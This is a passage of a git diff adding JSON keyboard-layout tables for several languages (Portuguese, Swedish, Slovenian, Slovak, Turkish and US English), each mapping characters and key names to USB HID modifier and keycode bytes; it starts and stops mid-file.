"e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "+":"00,00,2d", + "\\":"00,00,2e", + "'":"00,00,31", + "|":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "`":"02,00,2e", + "^":"02,00,30", + "*":"02,00,31", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"40,00,1f", + "$":"40,00,21", + "{":"40,00,24", + "[":"40,00,25", + "]":"40,00,26", + "}":"40,00,27", + "~":"40,00,30", + "COMMAND-CTRL-SHIFT":"40,00,30", + "COMMAND-CTRL":"40,00,30", + "COMMAND-OPTION-SHIFT'":"40,00,30" +} \ No newline at end of file diff --git a/languages/pt.json b/languages/pt.json new file mode 100644 index 0000000..0e48467 --- /dev/null +++ b/languages/pt.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "'":"00,00,2d", + "+":"00,00,2f", + "~":"00,00,32", + "\\":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "*":"02,00,2f", + "`":"02,00,30", + "^":"02,00,32", + "|":"02,00,35", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"40,00,1f", + "{":"40,00,24", + "[":"40,00,25", + "]":"40,00,26", + "}":"40,00,27", + "COMMAND-CTRL-SHIFT":"40,00,27", + "COMMAND-CTRL":"40,00,27", + "COMMAND-OPTION-SHIFT'":"40,00,27" +} \ No newline at end of file diff --git a/languages/se.json b/languages/se.json new file mode 100644 index 0000000..bf0f1fb --- /dev/null +++ b/languages/se.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "+":"00,00,2d", + "'":"00,00,31", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "~":"02,00,20", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "`":"02,00,2e", + "^":"02,00,30", + "*":"02,00,31", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"40,00,1f", + "$":"40,00,21", + "{":"40,00,24", + "[":"40,00,25", + "]":"40,00,26", + "}":"40,00,27", + "\\":"40,00,2d", + "|":"40,00,64", + "COMMAND-CTRL-SHIFT":"40,00,64", + "COMMAND-CTRL":"40,00,64", + "COMMAND-OPTION-SHIFT'":"40,00,64" +} \ No newline at end of file diff --git a/languages/si.json b/languages/si.json new file mode 100644 index 0000000..ba1acd7 --- /dev/null +++ b/languages/si.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "z":"00,00,1c", + "y":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "'":"00,00,2d", + "+":"00,00,2e", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Z":"02,00,1c", + "Y":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "#":"02,00,20", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "*":"02,00,2e", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "{":"40,00,05", + "[":"40,00,09", + "]":"40,00,0a", + "}":"40,00,11", + "\\":"40,00,14", + "@":"40,00,19", + "|":"40,00,1a", + "~":"40,00,1e", + "^":"40,00,20", + "`":"40,00,24", + "COMMAND-CTRL-SHIFT":"40,00,24", + "COMMAND-CTRL":"40,00,24", + "COMMAND-OPTION-SHIFT'":"40,00,24" +} \ No newline at end of file diff --git a/languages/sk.json b/languages/sk.json new file mode 100644 index 0000000..5349390 --- /dev/null +++ b/languages/sk.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":" Slovak QWERTZ version made by Andrej Šimko", + "__comment":" Note that some special characters use leftCtrl+leftAlt+[key]", + "__comment":" Special Slovak characters like ľščťžýáíéúäô are not included", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "z":"00,00,1c", + "y":"00,00,1d", + "+":"00,00,1e", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "CTRL-ALT":"05,00,00", + "=":"00,00,2d", + ";":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Z":"02,00,1c", + "Y":"02,00,1d", + "1":"02,00,1e", + "2":"02,00,1f", + "3":"02,00,20", + "4":"02,00,21", + "5":"02,00,22", + "6":"02,00,23", + "7":"02,00,24", + "8":"02,00,25", + "9":"02,00,26", + "0":"02,00,27", + "\\":"05,00,14", + "%":"02,00,2d", + "/":"02,00,2f", + "(":"02,00,30", + "'":"05,00,13", + ")":"02,00,31", + "\"":"02,00,33", + "!":"02,00,34", + "?":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + "|":"05,00,1a", + "#":"05,00,1b", + "&":"05,00,06", + "@":"05,00,19", + "$":"05,00,33", + "*":"05,00,38", + "{":"05,00,05", + "}":"05,00,11", + "[":"05,00,09", + "]":"05,00,0a", + "~":"05,00,1e", + "^":"05,00,20", + "<":"05,00,36", + ">":"05,00,37", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "COMMAND-CTRL-SHIFT":"12,00,00", + "COMMAND-CTRL":"12,00,00", + "COMMAND-OPTION-SHIFT'":"12,00,00" +} \ No newline at end of file diff --git a/languages/tr.json b/languages/tr.json new file mode 100644 index 0000000..77c63de --- /dev/null +++ b/languages/tr.json @@ -0,0 +1,173 @@ +{ + "__comment": "All numbers here are in hex format and 0x is ignored.", + "__comment": " ", + "__comment": "This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment": " See section 10 Keyboard/Keypad Page (0x07)", + "__comment": " of document USB HID Usage Tables Version 1.12.", + "__comment": " ", + "__comment": "Definition of these 3 bytes can be found", + "__comment": " in section B.1 Protocol 1 (Keyboard)", + "__comment": " of document Device Class Definition for HID Version 1.11", + "__comment": " - byte 1: Modifier keys", + "__comment": " - byte 2: Reserved", + "__comment": " - byte 3: Keycode 1", + "__comment": " ", + "__comment": "Both documents can be obtained from link here", + "__comment": " http://www.usb.org/developers/hidpage/", + "__comment": " ", + "__comment": "A = LeftShift + a, { = LeftShift + [", + "__comment": " ", + "CTRL": "01,00,00", + "CONTROL": "01,00,00", + "SHIFT": "02,00,00", + "ALT": "04,00,00", + "GUI": "08,00,00", + "WINDOWS": "08,00,00", + "CTRL-ALT": "05,00,00", + "CTRL-SHIFT": "03,00,00", + "ALT-SHIFT": "06,00,00", + "__comment": "Below 5 key combinations are for Mac OSX", + "__comment": "Example: (COMMAND-OPTION SHIFT t) to open terminal", + "COMMAND": "08,00,00", + "COMMAND-CTRL": "09,00,00", + "COMMAND-CTRL-SHIFT": "0B,00,00", + "COMMAND-OPTION": "0C,00,00", + "COMMAND-OPTION-SHIFT": "0E,00,00", + "a": "00,00,04", + "A": "02,00,04", + "b": "00,00,05", + "B": "02,00,05", + "c": "00,00,06", + "C": "02,00,06", + "d": "00,00,07", + "D": "02,00,07", + "e": "00,00,08", + "E": "02,00,08", + "f": "00,00,09", + "F": "02,00,09", + "g": "00,00,0a", + "G": "02,00,0a", + "h": "00,00,0b", + "H": "02,00,0b", + "i": "00,00,34", + "I": "02,00,0c", + "j": "00,00,0d", + "J": "02,00,0d", + "k": "00,00,0e", + "K": "02,00,0e", + "l": "00,00,0f", + "L": "02,00,0f", + "m": "00,00,10", + "M": "02,00,10", + "n": "00,00,11", + "N": "02,00,11", + "o": "00,00,12", + "O": "02,00,12", + "p": "00,00,13", + "P": "02,00,13", + "q": "00,00,14", + "Q": "02,00,14", + "r": "00,00,15", + "R": "02,00,15", + "s": "00,00,16", + "S": "02,00,16", + "t": "00,00,17", + "T": "02,00,17", + "u": "00,00,18", + "U": "02,00,18", + "v": "00,00,19", + "V": "02,00,19", + "w": "00,00,1a", + "W": "02,00,1a", + "x": "00,00,1b", + "X": "02,00,1b", + "y": "00,00,1c", + "Y": "02,00,1c", + "z": "00,00,1d", + "Z": "02,00,1d", + "1": "00,00,1e", + "!": "02,00,1e", + "2": "00,00,1f", + "@": "40,00,14", + "3": "00,00,20", + "#": "40,00,20", + "4": "00,00,21", + "$": "40,00,21", + "5": "00,00,22", + "%": "02,00,22", + "6": "00,00,23", + "^": "02,00,20", + "7": "00,00,24", + "&": "02,00,23", + "8": "00,00,25", + "*": "00,00,2d", + "9": "00,00,26", + "(": "02,00,25", + "0": "00,00,27", + ")": "02,00,26", + "ENTER": "00,00,28", + "ESC": "00,00,29", + "ESCAPE": "00,00,29", + "BACKSPACE": "00,00,2a", + "TAB": "00,00,2b", + "ALT-TAB": "04,00,2b", + "SPACE": "00,00,2c", + " ": "00,00,2c", + "-": "00,00,2e", + "_": "02,00,2e", + "=": "02,00,27", + "+": "02,00,21", + "[": "40,00,25", + "{": "40,00,24", + "]": "40,00,26", + "}": "40,00,27", + "\\": "40,00,2d", + "|": "40,00,2e", + ";": "02,00,31", + ":": "02,00,38", + "'": "02,00,1f", + "\"": "00,00,35", + "`": "40,00,31", + "~": "40,00,30", + ",": "00,00,31", + "<": "40,00,35", + ".": "00,00,38", + ">": "40,00,1e", + "/": "02,00,24", + "?": "02,00,2d", + "CAPSLOCK": "00,00,39", + "F1": "00,00,3a", + "F2": "00,00,3b", + "F3": "00,00,3c", + "F4": "00,00,3d", + "F5": "00,00,3e", + "F6": "00,00,3f", + "F7": "00,00,40", + "F8": "00,00,41", + "F9": "00,00,42", + "F10": "00,00,43", + "F11": "00,00,44", + "F12": "00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK": "00,00,47", + "PAUSE": "00,00,48", + "BREAK": "00,00,48", + "INSERT": "00,00,49", + "HOME": "00,00,4a", + "PAGEUP": "00,00,4b", + "DELETE": "00,00,4c", + "DEL": "00,00,4c", + "END": "00,00,4d", + "PAGEDOWN": "00,00,4e", + "RIGHTARROW": "00,00,4f", + "RIGHT": "00,00,4f", + "LEFTARROW": "00,00,50", + "LEFT": "00,00,50", + "DOWNARROW": "00,00,51", + "DOWN": "00,00,51", + "UPARROW": "00,00,52", + "UP": "00,00,52", + "NUMLOCK": "00,00,53", + "MENU": "00,00,65", + "APP": "00,00,65" +} diff --git a/languages/us.json b/languages/us.json new file mode 100644 index 0000000..c7606c2 --- /dev/null +++ b/languages/us.json @@ -0,0 +1,163 @@ +{ + "__comment": "All numbers here are in hex format and 0x is ignored.", + "__comment": " ", + "__comment": "This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment": " See section 10 Keyboard/Keypad Page (0x07)", + "__comment": " of document USB HID Usage Tables Version 1.12.", + "__comment": " ", + "__comment": "Definition of these 3 bytes can be found", + "__comment": " in section B.1 Protocol 1 (Keyboard)", + "__comment": " of document Device Class Definition for HID Version 1.11", + "__comment": " - byte 1: Modifier keys", + "__comment": " - byte 2: Reserved", + "__comment": " - byte 3: Keycode 1", + "__comment": " ", + "__comment": "Both documents can be obtained from link here", + "__comment": " http://www.usb.org/developers/hidpage/", + "__comment": " ", + "__comment": "A = LeftShift + a, { = LeftShift + [", + "__comment": " ", + "0": "00,00,27", + "1": "00,00,1e", + "2": "00,00,1f", + "3": "00,00,20", + "4": "00,00,21", + "5": "00,00,22", + "6": "00,00,23", + "7": "00,00,24", + "8": "00,00,25", + "9": "00,00,26", + "CTRL": "01,00,00", + "CONTROL": "01,00,00", + "SHIFT": "02,00,00", + "ALT": "04,00,00", + "GUI": "08,00,00", + "WINDOWS": "08,00,00", + "COMMAND": "08,00,00", + "a": "00,00,04", + "A": "02,00,04", + "b": "00,00,05", + "B": "02,00,05", + "c": "00,00,06", + "C": "02,00,06", + "d": "00,00,07", + "D": "02,00,07", + "e": "00,00,08", + "E": "02,00,08", + "f": "00,00,09", + "F": "02,00,09", + "g": "00,00,0a", + "G": "02,00,0a", + "h": "00,00,0b", + "H": "02,00,0b", + "i": "00,00,0c", + "I": "02,00,0c", + "j": "00,00,0d", + "J": "02,00,0d", + "k": "00,00,0e", + "K": "02,00,0e", + "l": "00,00,0f", + "L": "02,00,0f", + "m": "00,00,10", + "M": "02,00,10", + "n": "00,00,11", + "N": "02,00,11", + "o": "00,00,12", + "O": "02,00,12", + "p": "00,00,13", + "P": "02,00,13", + "q": "00,00,14", + "Q": "02,00,14", + "r": "00,00,15", + "R": "02,00,15", + "s": "00,00,16", + "S": "02,00,16", + "t": "00,00,17", + "T": "02,00,17", + "u": "00,00,18", + "U": "02,00,18", + "v": "00,00,19", + "V": "02,00,19", + "w": 